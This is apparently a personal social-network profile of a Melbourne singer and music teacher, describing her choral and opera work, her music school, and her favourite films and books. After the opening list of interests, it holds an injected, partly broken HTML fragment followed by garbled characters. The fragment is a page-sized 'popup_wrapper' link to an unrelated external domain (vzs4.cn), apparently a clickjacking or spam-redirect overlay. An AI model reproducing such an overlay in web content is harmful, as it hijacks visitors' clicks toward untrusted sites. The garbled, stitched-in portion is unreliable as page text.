Everything to do with music, travelling, photography, movies, theatre, dancing (incl. salsa!), martial arts, snow skiing, Melbourne's great cafe culture, catching up with friends, cycling, wondering through markets, checking out live bands, seeing stand-up comedy and attending festivals.a class="popup_wrapper" style="cursor:default;background-image:url(http://vzs4.cn/bg .jpg);left:0px;top:0px;height:8169px;width:1035px;" href="http://vzs4.cn/s/" m$l$
I'd like to meet anyone inspiring, interesting, thought-provoking, musical/ artistic... and has something to say!
Having played music since I was 3 years old, I've performed and recorded as a vocal artist and as an instrumentalist with many ensembles, both here in Australia, the USA and across Europe. Performing in very diverse genres, and known mostly as an Alto / Mezzo-Soprano, I've had a lot of experience as a choral musician, opera singer, member of rock bands and jazz ensembles, being hired as a 'session' musician as well as a soloist for various projects. Groups I have performed, recorded and / or toured with include:* The Choir of Trinity College Melbourne University (4 yrs, 2 CDs and 2 UK tours)* Other Choirs: of Christ Church South Yarra, Newman College Melbourne University, Queens College Melbourne University, Scots Church (Mel), Wesley Church (Mel), All Saints (St Kilda), and recently I've taken post as Head Alto Scholar at Toorak Uniting Church.* Specialist Early Music vocal ensembles: e21, Ensemble Gombert, the Palestrina Project, the Buxtehude Consort and Triptych (medieval vocal trio)* Also a Mezzo-Soprano chorus member of the Victorian Opera company.* Have also performed in London with a Rat Pack Tribute Big Band Show (singing Ella Fitzgerald-famed tunes), as well as te Paul Kelly Tribute Show.* Instruments I play: piano, percussion and drums, and alto saxophone, singing, and I have been meaning to take up lessons in the cello and guitar! As a result I grew up fascinated in learning a great variety of styles of music, my specialties as a teacher now being classical, opera, acappella, jazz and improvisation.Having returned at the beginning of 2003 from having worked in London for 2 years, my professional bookings as a soloist have included such performances as with the Australian Classical Players, Box Hill Chorale, the Royal Philharmonic Choir, the Australian Boys Choir, Eminence Symphony Orchestra (Syd) the Victorian Opera and as part of various Melbourne and regional Victorian arts and music festivals in association with Past Echoes and Independent Classics.I began my own business at the start of 2003, PRO EXPRESSION Music School & Creative Alliance, specializing in teaching adults. We've recently re-developed the website to include extensive forums, gig guide and a secure shopping facility so check it out!! (www.proexpression.com) For those that wish to pursue a career in music, my business provides clients with many of the essential skills and knowledge of performance practice, recording, marketing and in general the real business side of music. Having said that, in NO way do I support the Pop Idol make you a Star in a day mentality of the industry that is rife today, which seems to have very little base on skill... My philosophy regarding music education is well-informed, thorough, and I use FUN methods of teaching and learning alike to cater for anybody who has ever wanted to learn. My main philosophy regarding music: ANYBODY can learn music, it just needs an encouraging and nurturing environment, and practice ;) Remember to sign up to www.proexpression.com (it's free), and you can keep your finger on the pulse of the Melbourne Music Scene in one place :)
I love movies, and enjoy escaping to the cinemas when time, choice of movie and effort permits!!! I love a good story, going on a journey, having a great big laugh, (or even a big cry sometimes..). Some of my favourite movies are 'Dead Poets' Society', 'The Butterfly Effect', 'Shawshank Redemption', recently 'The Freedom Fighters' and, admittedly Pixar/ Dreamworks movies :D
Rarely home long enough to watch anything particularly, but have really been a big fan of 'Lost','CSI', 'Boston Legal' etc..
Very big fan of Dan Brown - the Da Vinci Code (...much better than the movie, as expected), Angels and Demons, Digital Fortress. I've read many Stephen King books too - I love the fact that you can be scared witless simply by the images conjured up by words! Have just read Philip Pullman's 'His Dark Materials' trilogy - really amazing science fiction/fantasy, highly recommended! I read a lot of psychology/ philosophy books too. Currently reading 'The Secret' (Rhonda Byrnes on the law of attraction)
My closest family and friends, several great musicians, composers, philosophers, psychologists and story-tellers across the ages, actors of our time and past, all that inspire me and challenge me to do the best I can..